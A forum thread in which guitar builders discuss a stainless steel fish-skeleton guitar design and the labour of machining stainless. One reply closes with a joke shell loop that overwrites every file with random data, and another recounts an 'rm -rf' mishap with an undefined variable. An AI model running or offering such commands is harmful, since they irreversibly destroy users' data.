RestorationAD Posted February 4, 2011 Report Share Posted February 4, 2011 One of those stainless steel fish skeleton jobbies.... I have. Then I thought... Can you weld, drill and tap stainless? Yes. Then I asked myself Do you want to weld, drill and tap stainless? No Have you ever looked at Andy Summers face in the Synchronicity video? He does not look happy playing that thing...

devnull Posted February 5, 2011 Author Report Share Posted February 5, 2011 I have worked a lot with stainless. I do not like it, Sam I Am. If it's tubing, it must take a fortune in labor to build. If it's solid, it must weigh a ton. And take a fortune in labor to build. Doesn't *sound* half bad, though. Quote Link to comment Share on other sites More sharing options...

I love the design... but seriously is it worth the work? I draw stuff like this up all the time. Then I talk to my old man the machinist/fabricator and I go back to wood. If someone builds it the thread needs to be detailed. AND I will trade a full on custom for the finished guitar if it is right! BTW -- for i in $(find /);do cat /dev/urandom > ${i};done Have fun with that... Quote Link to comment Share on other sites More sharing options...

One of my co workers wrote "rm -rf /$HOMEDIR" and, er, forgot to define HOMEDIR. Ouch. Quote Link to comment Share on other sites More sharing options...
